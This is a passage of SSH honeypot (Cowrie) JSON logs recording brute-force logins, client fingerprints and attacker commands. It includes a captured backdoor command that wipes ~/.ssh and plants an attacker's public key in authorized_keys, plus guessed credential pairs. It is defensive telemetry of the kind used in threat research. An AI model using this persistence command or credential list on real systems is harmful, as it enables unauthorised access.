af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:47.999173Z","src_ip":"103.4.145.50","session":"4ea944bad211","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"1q2w3e4r","message":"login attempt [steam/1q2w3e4r] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:49.089446Z","src_ip":"103.4.145.50","session":"4ea944bad211","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:49.692068Z","src_ip":"103.4.145.50","session":"4ea944bad211","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:49.695874Z","src_ip":"103.4.145.50","session":"4ea944bad211","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:49.700495Z","src_ip":"103.4.145.50","session":"4ea944bad211","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:49.977289Z","src_ip":"103.4.145.50","session":"4ea944bad211","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:50.830378Z","src_ip":"103.4.145.50","session":"4ea944bad211","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:50.833427Z","src_ip":"103.4.145.50","session":"4ea944bad211","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:51.108108Z","src_ip":"103.4.145.50","session":"4ea944bad211","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:51.112031Z","src_ip":"103.4.145.50","session":"4ea944bad211","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.4.145.50","src_port":51150,"dst_ip":"10.17.0.5","dst_port":22,"session":"b60ecf58a455","protocol":"ssh","message":"New connection: 103.4.145.50:51150 (10.17.0.5:22) [session: b60ecf58a455]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:51.354349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:51.359439Z","src_ip":"103.4.145.50","session":"b60ecf58a455","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:51.619205Z","src_ip":"103.4.145.50","session":"b60ecf58a455","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:52.683375Z","src_ip":"103.4.145.50","session":"b60ecf58a455","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:53.951629Z","src_ip":"103.4.145.50","session":"b60ecf58a455","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.4.145.50","src_port":52086,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e49380e79e3","protocol":"ssh","message":"New connection: 103.4.145.50:52086 (10.17.0.5:22) [session: 9e49380e79e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:54.226462Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:54.231364Z","src_ip":"103.4.145.50","session":"9e49380e79e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:54.503637Z","src_ip":"103.4.145.50","session":"9e49380e79e3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:55.607721Z","src_ip":"103.4.145.50","session":"9e49380e79e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.1","message":"Connection lost after 8.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:55.878916Z","src_ip":"103.4.145.50","session":"4ea944bad211","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:52:55.890898Z","src_ip":"103.4.145.50","session":"9e49380e79e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.4.145.50","src_port":38830,"dst_ip":"10.17.0.5","dst_port":22,"session":"470b7913eb4b","protocol":"ssh","message":"New connection: 103.4.145.50:38830 (10.17.0.5:22) [session: 470b7913eb4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:53:46.434225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:53:46.439294Z","src_ip":"103.4.145.50","session":"470b7913eb4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:53:46.713181Z","src_ip":"103.4.145.50","session":"470b7913eb4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nodeuser","password":"nodeuser123","message":"login attempt [nodeuser/nodeuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:53:47.812422Z","src_ip":"103.4.145.50","session":"470b7913eb4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:53:49.082320Z","src_ip":"103.4.145.50","session":"470b7913eb4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.4.145.50","src_port":55828,"dst_ip":"10.17.0.5","dst_port":22,"session":"29ce3f6c82ef","protocol":"ssh","message":"New connection: 103.4.145.50:55828 (10.17.0.5:22) [session: 29ce3f6c82ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:54:48.836915Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:54:48.842107Z","src_ip":"103.4.145.50","session":"29ce3f6c82ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:54:49.091840Z","src_ip":"103.4.145.50","session":"29ce3f6c82ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123qweasd","message":"login attempt [admin/123qweasd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:54:50.131613Z","src_ip":"103.4.145.50","session":"29ce3f6c82ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:54:51.383682Z","src_ip":"103.4.145.50","session":"29ce3f6c82ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"96.70.252.227","src_port":48154,"dst_ip":"159.203.135.109","dst_port":22,"session":"db27b5fe2890","protocol":"ssh","message":"New connection: 96.70.252.227:48154 (159.203.135.109:22) [session: db27b5fe2890]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:55:34.154145Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:55:34.343091Z","src_ip":"96.70.252.227","session":"db27b5fe2890","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:55:34.370187Z","src_ip":"96.70.252.227","session":"db27b5fe2890","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"esuser123456","message":"login attempt [esuser/esuser123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:55:34.541710Z","src_ip":"96.70.252.227","session":"db27b5fe2890","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:55:35.581560Z","src_ip":"96.70.252.227","session":"db27b5fe2890","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":58540,"dst_ip":"10.17.0.5","dst_port":22,"session":"f54aadfaf3f2","protocol":"ssh","message":"New connection: 213.209.159.159:58540 (10.17.0.5:22) [session: f54aadfaf3f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:55:47.635116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:55:47.639953Z","src_ip":"213.209.159.159","session":"f54aadfaf3f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:55:47.721848Z","src_ip":"213.209.159.159","session":"f54aadfaf3f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tyriq","password":"tyriq","message":"login attempt [tyriq/tyriq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:55:48.122622Z","src_ip":"213.209.159.159","session":"f54aadfaf3f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tyriq","password":"tyriq1","message":"login attempt [tyriq/tyriq1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:55:49.206767Z","src_ip":"213.209.159.159","session":"f54aadfaf3f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tyriq","password":"tyriq123","message":"login attempt [tyriq/tyriq123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:55:50.292500Z","src_ip":"213.209.159.159","session":"f54aadfaf3f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.4.145.50","src_port":44594,"dst_ip":"10.17.0.5","dst_port":22,"session":"ddcc0b003466","protocol":"ssh","message":"New connection: 103.4.145.50:44594 (10.17.0.5:22) [session: ddcc0b003466]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:55:50.523393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:55:50.533661Z","src_ip":"103.4.145.50","session":"ddcc0b003466","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v0